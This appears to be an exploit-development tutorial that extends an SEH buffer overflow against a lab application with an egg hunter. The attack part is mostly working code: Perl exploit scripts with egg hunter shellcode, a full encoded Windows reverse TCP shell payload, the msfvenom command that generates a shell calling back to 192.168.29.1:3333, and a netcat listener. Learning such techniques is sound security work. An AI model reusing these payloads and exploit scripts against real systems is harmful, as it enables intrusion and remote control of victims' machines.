The rather small shellcode that was used so far, always neatly fitted into the exploited buffer on the stack. Unfortunately this might not always be the case.
For this situation there is the concept of egg hunting. All it does is to provide a small shellcode which scans the memory for the actual (larger) shellcode and executes it.
Even though popping up a calculator is quite cool, a reverse shell for example might be even more interesting and useful.
Remember the vulnerable application copies the contents of attack_test.txt into a buffer which is dynamically allocated on the heap before the contents are being copied via strcpy() into a size limited buffer on the stack.
Basically the goal of this tutorial is to execute the small egg hunter shellcode on the stack in order to pass execution to the actual shellcode which resides on the heap.
We’ll use the previous SEH based exploit as a starting point to build the egg hunter upon.
Make sure you understand the concept behind egg hunting. I recommend to read skape’s Safely Searching Process Virtual Address Space research paper and Corelan’s Exploit writing tutorial part 8 : Win32 Egg Hunting tutorial.
As explained in the above mentioned resources, there are different techniques to scan the the memory, notably SEH, IsBadReadPtr and NtDisplayString / NtAccessCheckAndAuditAlarm.
We’ll go for the NtDisplayString / NtAccessCheckAndAuditAlarm technique because it is considered more reliable than the others.
Note: The NtDisplayString / NtAccessCheckAndAuditAlarm egg hunter differ only in the system call number being used, otherwise they are identical.
Grab the shellcode for NtDisplayString from the Corelan tutorial. The tag to be searched for being “w00t”. Since the egg hunter does not contain any of the bad chars (0x00 or 0x1A) no encoding is required as long as AV or IDS evasion is no concern.
Adjust the original SEH exploit script as follows:
my $file = "attack_test.txt"; my $overflow = "0123456789ABCDEF"; my $eip = "AAAA"; my $fill = "B" x 52; my $nextseh = "\xeb\x06\x90\x90"; my $seh = pack('V',0x123418D4); my $egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8". "w00t". "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"; open($FILE,">$file"); print $FILE $overflow.$eip.$fill.$nextseh.$seh.$egghunter; close($FILE); print "File created\n";
Start Immunity Debugger and run the vulnerable application with the newly generated attack_test.txt file in its folder.
When the exception occurs, set a breakpoint at the SE handler address. Then pass the exception back to the program by pressing Shift+F9. Step through the POP/POP/RET sequence. After executing the RET instruction program execution is at the stack.
Address 0x12FFB0 points to the next SEH record, but contains the short jump to the egg hunter shellcode in our case.
The egg hunter is located between 0x12FFB8 and 0x12FFD6. The buffer on the stack goes only until 0x12FFFF which means there are 0x29 bytes left until the end of the stack is reached.
The shellcode for the reverse shell will be larger than 0x29 bytes and it is desirable to place it in one piece into memory. Padding will be inserted to make up for those bytes (to prevent accidental execution of partial shellcode) followed by the double tag and the actual shellcode.
As shellcode the reverse TCP shell payload from Metasploit will be used. Generate the shellcode as follows with appropriate local host and port parameters:
msfvenom -p windows/shell_reverse_tcp lhost=192.168.29.1 lport=3333 -e x86/shikata_ga_nai -b '\x00\x1a' -f perl
With everything in place adjust the script as follows and generate a new input file:
my $file = "attack_test.txt"; my $overflow = "0123456789ABCDEF"; my $eip = "AAAA"; my $fill = "B" x 52; my $nextseh = "\xeb\x06\x90\x90"; my $seh = pack('V',0x123418D4); my $padding = "\x90" x 0x29; my $egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8". "w00t". "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"; my $shell_reverse_tcp = "\xb8\xb3\xf4\x66\xfd\xdb\xd9\xd9\x74\x24\xf4\x5d\x31\xc9" . "\xb1\x52\x31\x45\x12\x83\xed\xfc\x03\xf6\xfa\x84\x08\x04" . "\xea\xcb\xf3\xf4\xeb\xab\x7a\x11\xda\xeb\x19\x52\x4d\xdc" . "\x6a\x36\x62\x97\x3f\xa2\xf1\xd5\x97\xc5\xb2\x50\xce\xe8" . "\x43\xc8\x32\x6b\xc0\x13\x67\x4b\xf9\xdb\x7a\x8a\x3e\x01" . "\x76\xde\x97\x4d\x25\xce\x9c\x18\xf6\x65\xee\x8d\x7e\x9a" . "\xa7\xac\xaf\x0d\xb3\xf6\x6f\xac\x10\x83\x39\xb6\x75\xae" . "\xf0\x4d\x4d\x44\x03\x87\x9f\xa5\xa8\xe6\x2f\x54\xb0\x2f" . "\x97\x87\xc7\x59\xeb\x3a\xd0\x9e\x91\xe0\x55\x04\x31\x62" . "\xcd\xe0\xc3\xa7\x88\x63\xcf\x0c\xde\x2b\xcc\x93\x33\x40" . "\xe8\x18\xb2\x86\x78\x5a\x91\x02\x20\x38\xb8\x13\x8c\xef" . "\xc5\x43\x6f\x4f\x60\x08\x82\x84\x19\x53\xcb\x69\x10\x6b" . "\x0b\xe6\x23\x18\x39\xa9\x9f\xb6\x71\x22\x06\x41\x75\x19" . "\xfe\xdd\x88\xa2\xff\xf4\x4e\xf6\xaf\x6e\x66\x77\x24\x6e" . "\x87\xa2\xeb\x3e\x27\x1d\x4c\xee\x87\xcd\x24\xe4\x07\x31" . "\x54\x07\xc2\x5a\xff\xf2\x85\xa4\xa8\xe1\x54\x4d\xab\x19" . "\x5a\x88\x22\xff\x0e\x82\x62\xa8\xa6\x3b\x2f\x22\x56\xc3" . "\xe5\x4f\x58\x4f\x0a\xb0\x17\xb8\x67\xa2\xc0\x48\x32\x98" . "\x47\x56\xe8\xb4\x04\xc5\x77\x44\x42\xf6\x2f\x13\x03\xc8" . "\x39\xf1\xb9\x73\x90\xe7\x43\xe5\xdb\xa3\x9f\xd6\xe2\x2a" . "\x6d\x62\xc1\x3c\xab\x6b\x4d\x68\x63\x3a\x1b\xc6\xc5\x94" . "\xed\xb0\x9f\x4b\xa4\x54\x59\xa0\x77\x22\x66\xed\x01\xca" . "\xd7\x58\x54\xf5\xd8\x0c\x50\x8e\x04\xad\x9f\x45\x8d\xdd" . "\xd5\xc7\xa4\x75\xb0\x92\xf4\x1b\x43\x49\x3a\x22\xc0\x7b" . "\xc3\xd1\xd8\x0e\xc6\x9e\x5e\xe3\xba\x8f\x0a\x03\x68\xaf" . "\x1e"; open($FILE,">$file"); print $FILE $overflow.$eip.$fill.$nextseh.$seh.$egghunter.$padding."w00tw00t".$shell_reverse_tcp; close($FILE); print "File created\n";
Start listening on port 3333 with netcat on the local machine:
nc -l -p 3333
Run the vulnerable application on the target machine with the newly generated input file and watch the reverse shell popping up: